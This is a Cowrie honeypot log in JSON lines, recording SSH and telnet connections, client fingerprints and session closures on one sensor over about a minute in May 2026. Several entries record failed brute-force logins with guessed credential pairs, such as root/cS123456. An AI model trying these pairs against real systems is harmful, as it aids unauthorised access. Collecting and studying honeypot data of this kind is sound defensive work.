{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:33.628963Z","src_ip":"187.141.71.166","session":"e0b282b436e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.68509840965271,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:33.813783Z","src_ip":"134.209.8.29","session":"a3b61e2616d4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ts3bot1","password":"ts3bot1","message":"login attempt [ts3bot1/ts3bot1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:34.142741Z","src_ip":"187.141.71.166","session":"e0b282b436e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":50850,"dst_ip":"10.17.0.5","dst_port":22,"session":"c88d6a829ebd","protocol":"ssh","message":"New connection: 147.50.231.135:50850 (10.17.0.5:22) [session: c88d6a829ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:34.329823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:34.334301Z","src_ip":"147.50.231.135","session":"c88d6a829ebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:34.599382Z","src_ip":"147.50.231.135","session":"c88d6a829ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:35.271130Z","src_ip":"187.141.71.166","session":"e0b282b436e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gadmin","password":"123","message":"login attempt [gadmin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:35.701702Z","src_ip":"147.50.231.135","session":"c88d6a829ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.9936418533325195,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:36.294813Z","src_ip":"134.209.8.29","session":"dfbee93e2898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:36.967531Z","src_ip":"147.50.231.135","session":"c88d6a829ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.640775680541992,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:38.875897Z","src_ip":"134.209.8.29","session":"e0605b71908c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":53416,"dst_ip":"10.17.0.5","dst_port":22,"session":"700f1c9fdfd6","protocol":"ssh","message":"New connection: 148.216.28.11:53416 (10.17.0.5:22) [session: 700f1c9fdfd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:40.221531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:40.229072Z","src_ip":"148.216.28.11","session":"700f1c9fdfd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:40.303093Z","src_ip":"148.216.28.11","session":"700f1c9fdfd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"321","message":"login attempt [user/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:40.611610Z","src_ip":"148.216.28.11","session":"700f1c9fdfd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52984,"dst_ip":"159.203.135.109","dst_port":23,"session":"63d3a7ca85dd","protocol":"telnet","message":"New connection: 134.209.8.29:52984 (159.203.135.109:23) [session: 63d3a7ca85dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:40.668223Z"}
{"eventid":"cowrie.session.closed","duration":36.20489859580994,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:41.457486Z","src_ip":"134.209.8.29","session":"776612718fa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:41.682692Z","src_ip":"148.216.28.11","session":"700f1c9fdfd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":40452,"dst_ip":"159.203.135.109","dst_port":23,"session":"1064640e3b63","protocol":"telnet","message":"New connection: 134.209.8.29:40452 (159.203.135.109:23) [session: 1064640e3b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:46.172245Z"}
{"eventid":"cowrie.session.closed","duration":6.138996124267578,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:46.806900Z","src_ip":"134.209.8.29","session":"63d3a7ca85dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":40462,"dst_ip":"159.203.135.109","dst_port":23,"session":"4132da700ebe","protocol":"telnet","message":"New connection: 134.209.8.29:40462 (159.203.135.109:23) [session: 4132da700ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:49.735188Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53136,"dst_ip":"159.203.135.109","dst_port":23,"session":"38e5f04be7ed","protocol":"telnet","message":"New connection: 134.209.8.29:53136 (159.203.135.109:23) [session: 38e5f04be7ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:51.630768Z"}
{"eventid":"cowrie.session.closed","duration":49.31002855300903,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:54.667741Z","src_ip":"134.209.8.29","session":"cb454c349382","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.501697301864624,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:55.644850Z","src_ip":"134.209.8.29","session":"f8adacb46631","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":59662,"dst_ip":"159.203.135.109","dst_port":22,"session":"69694291f98b","protocol":"ssh","message":"New connection: 165.22.63.98:59662 (159.203.135.109:22) [session: 69694291f98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:56.056351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:56.061075Z","src_ip":"165.22.63.98","session":"69694291f98b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:56.300941Z","src_ip":"165.22.63.98","session":"69694291f98b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cS123456","message":"login attempt [root/cS123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:57.294534Z","src_ip":"165.22.63.98","session":"69694291f98b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:03:58.535598Z","src_ip":"165.22.63.98","session":"69694291f98b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53140,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b608e0498bc","protocol":"telnet","message":"New connection: 134.209.8.29:53140 (159.203.135.109:23) [session: 6b608e0498bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:01.957371Z"}
{"eventid":"cowrie.session.closed","duration":31.026220560073853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:04.231147Z","src_ip":"194.233.64.34","session":"f8ca7160aec1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":40476,"dst_ip":"159.203.135.109","dst_port":23,"session":"24e77ca9de0a","protocol":"telnet","message":"New connection: 134.209.8.29:40476 (159.203.135.109:23) [session: 24e77ca9de0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:05.834170Z"}
{"eventid":"cowrie.session.closed","duration":0.005053281784057617,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:05.839082Z","src_ip":"134.209.8.29","session":"24e77ca9de0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":60468,"dst_ip":"159.203.135.109","dst_port":23,"session":"fee6041ee3ac","protocol":"telnet","message":"New connection: 134.209.8.29:60468 (159.203.135.109:23) [session: fee6041ee3ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:14.781362Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49548,"dst_ip":"159.203.135.109","dst_port":23,"session":"c32e36563852","protocol":"telnet","message":"New connection: 134.209.8.29:49548 (159.203.135.109:23) [session: c32e36563852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:16.131636Z"}
{"eventid":"cowrie.session.closed","duration":2.692275285720825,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:18.823815Z","src_ip":"134.209.8.29","session":"c32e36563852","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39622,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c65a77ef60f","protocol":"telnet","message":"New connection: 134.209.8.29:39622 (159.203.135.109:23) [session: 8c65a77ef60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:28.649908Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":37208,"dst_ip":"10.17.0.5","dst_port":22,"session":"4101b574bdb3","protocol":"ssh","message":"New connection: 148.216.28.11:37208 (10.17.0.5:22) [session: 4101b574bdb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:28.995638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:29.000265Z","src_ip":"148.216.28.11","session":"4101b574bdb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:29.065333Z","src_ip":"148.216.28.11","session":"4101b574bdb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"1234qwer","message":"login attempt [mysql/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:29.356253Z","src_ip":"148.216.28.11","session":"4101b574bdb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:30.423520Z","src_ip":"148.216.28.11","session":"4101b574bdb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":45316,"dst_ip":"159.203.135.109","dst_port":22,"session":"44bc2f6c895f","protocol":"ssh","message":"New connection: 187.141.71.166:45316 (159.203.135.109:22) [session: 44bc2f6c895f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:31.091478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:31.095821Z","src_ip":"187.141.71.166","session":"44bc2f6c895f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:31.221258Z","src_ip":"187.141.71.166","session":"44bc2f6c895f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcdefg","message":"login attempt [ubuntu/abcdefg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:31.734744Z","src_ip":"187.141.71.166","session":"44bc2f6c895f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.853699922561646,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:32.588734Z","src_ip":"134.209.8.29","session":"4132da700ebe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:32.857068Z","src_ip":"187.141.71.166","session":"44bc2f6c895f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.470205783843994,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:35.100872Z","src_ip":"134.209.8.29","session":"38e5f04be7ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.15849018096924,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:40.330444Z","src_ip":"134.209.8.29","session":"1064640e3b63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42578,"dst_ip":"159.203.135.109","dst_port":23,"session":"78935ce4a48b","protocol":"telnet","message":"New connection: 134.209.8.29:42578 (159.203.135.109:23) [session: 78935ce4a48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:40.508085Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51784,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d77143c95ed","protocol":"telnet","message":"New connection: 134.209.8.29:51784 (159.203.135.109:23) [session: 2d77143c95ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:47.932091Z"}
{"eventid":"cowrie.session.closed","duration":1.679316520690918,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:04:49.611167Z","src_ip":"134.209.8.29","session":"2d77143c95ed","protocol":"telnet"}
